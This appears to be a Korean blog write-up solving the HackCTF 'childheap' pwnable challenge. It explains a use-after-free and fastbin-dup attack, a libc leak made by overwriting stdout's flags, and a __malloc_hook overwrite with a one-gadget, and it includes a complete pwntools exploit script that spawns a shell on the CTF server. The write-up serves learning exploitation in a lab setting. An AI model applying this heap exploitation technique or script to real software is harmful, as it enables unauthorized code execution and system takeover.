풀이
[*] '/root/pwnable/pro34/childheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
먼저 프로그램을 실행해봤다.
1번 메뉴에서는 malloc을 받고, 2번 메뉴에서는 free 기능을 수행한다.
IDA로 확인해보자.
그냥 무난한 main 함수다.
Malloc 함수에서는 Index와 size에 제한을 둔다.
0번부터 4번까지의 인덱스를 사용할 수 있다.
size는 0부터 128까지 넣을 수 있다. 이를 통해 0x80을 free 함으로써 unsorted bin을 만들 수 있다.
Free 함수에서는 값을 free 시키고 값을 삭제하지 않는다.
즉, UAF 취약점이 발생한다. 또한, fastbin dup을 통해 원하는 주소에 임의 주소를 쓸 수 있다.
그러나 이번 문제에서는 babyheap 문제와 다르게 내용을 볼 수 있는 View 기능이 없다.
즉, 마땅히 leak을 할 수 있는 함수가 없는 것이다.
여기서 출력 함수 없이 leak 하는 방법을 검색해, 선넘철님 블로그에 도착하게 되었다.
rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak
stdout flag를 이용해 libc를 leak 할 수 있는 방법은 선넘철님 블로그를 참고하자.
이 블로그에서는 어떻게 공격해야 하는지에 대한 설명만 적을 것이다.
먼저 시나리오는 다음과 같다.
1. 뒤에 만들 unsorted bin의 병합을 막기 위해 fastbin 크기의 heap을 생성한다. (0)
2. unsorted bin 크기인 0x80만큼 heap을 생성한다. (1)
3. 마찬가지로 병합을 막기 위해 fastbin 크기의 heap을 생성한다. (2)
4. heap1을 해제해 unsorted bin을 만들면 FD, BK에 main_arena+88 주소가 적혀 있을 것이다.
5. main_arena와 stdout의 offset 차이가 얼마 나지 않는다. fastbin 크기의 heap을 하나 생성하여 뒤에 2byte를 stdout을 overwrite 하기 위해 fake chunk의 주소를 구해 넣어준다. 앞에 0.5byte는 1/16의 확률로 Brute-Force 하면 나온다.
6. fastbin dup을 발생시킨다. heap을 할당하고 뒤에 1byte를 0x70으로 바꿔 stdout fake chunk에 값을 적어줄 것이다
.
7. stdout을 덮었다면, leak된 stdin등을 가져와 libc base address를 구해 oneshot gadget과 __malloc_hook을 구해준다.
8. fastbin dup을 발생시켜 __malloc_hook을 덮는다. 단, 여기서도 __malloc_hook에 fake chunk를 적용시켜 덮어야지.. 아니면 memory corruption 오류가 당연히 발생하게 된다.
9. Malloc 함수를 실행해 쉘을 딴다.
stdout과 __malloc_hook fake chunk의 size는 적당히 구해보면 나온다. babyheap 문제를 풀었다면 fake chunk를 만드는 법은 알 거라고 생각한다.
문제 풀이에 사용한 페이로드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
def malloc(idx, size, content):
p.sendlineafter('>', '1')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def free(idx):
p.sendlineafter('>', '2')
p.sendlineafter(':', str(idx))
while True:
p = remote('ctf.j0n9hyun.xyz', 3033)
e = ELF('./childheap')
libc = ELF('./libc.so.6')
oneshot = 0xf1147
malloc(0, 0x60, 'AAAA')
malloc(1, 0x80, 'FAST')
malloc(2, 0x60, 'TEST')
free(1)
malloc(1, 0x60, p16(0x35dd))
malloc(3, 0x60, 'REAL')
free(3)
free(0)
free(3)
payload = 'A'*51 + p64(0xfbad1800) + p64(0)*3 + p8(0)
malloc(0, 0x60, p8(0x70))
malloc(1, 0x60, 'Dummy')
malloc(2, 0x60, 'Dummy')
malloc(3, 0x60, 'Dummy')
try:
malloc(4, 0x60, payload)
pause()
except:
p.close()
continue
log.info(p.recv(60))
p.recv(136)
stdin_got = u64(p.recv(6).ljust(8, '\x00'))
log.success(hex(stdin_got))
base = stdin_got - libc.symbols['_IO_2_1_stdin_']
real_oneshot = base + oneshot
real_malloc = base + libc.symbols['__malloc_hook']
malloc(0, 0x63, 'Expl')
malloc(1, 0x63, 'oit')
free(0)
free(1)
free(0)
malloc(0, 0x63, p64(real_malloc-35))
malloc(1, 0x63, 'AAAA')
malloc(2, 0x63, 'AAAA')
malloc(3, 0x63, 'A'*19+p64(real_oneshot))
p.sendlineafter('>', '1')
p.sendlineafter(':', '2')
p.sendlineafter(':', '\x63')
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] ChildFSB (600p) 풀이 (0) | 2021.01.18 |
---|---|
[HackCTF] 훈폰정음 풀이 (700p) (2) | 2021.01.13 |
[HackCTF] ROP 풀이 (300p) (0) | 2020.12.29 |
[HackCTF] UAF 풀이 (300p) (0) | 2020.12.28 |
[HackCTF] Pwning 풀이 (300p) (0) | 2020.12.28 |